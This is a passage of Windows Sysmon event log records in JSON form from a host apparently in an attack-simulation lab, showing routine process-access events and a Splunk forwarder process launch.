11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00103E490500}\r\nTargetProcessId: 4892\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00103E490500}","TargetProcessId":"4892","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.579\r\nProcessGuid: {90617006-407E-5F2D-0000-0010ED490500}\r\nProcessId: 4816\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-407E-5F2D-0000-00103E490500}\r\nParentProcessId: 4892\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.579","ProcessGuid":"{90617006-407E-5F2D-0000-0010ED490500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-407E-5F2D-0000-00103E490500}","ParentProcessId":"4892","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-00103E490500}\r\nSourceProcessId: 4892\r\nSourceThreadId: 4792\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010ED490500}\r\nTargetProcessId: 4816\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-407E-5F2D-0000-00103E490500}","SourceProcessId":"4892","SourceThreadId":"4792","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010ED490500}","TargetProcessId":"4816","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010ED490500}\r\nTargetProcessId: 4816\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010ED490500}","TargetProcessId":"4816","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 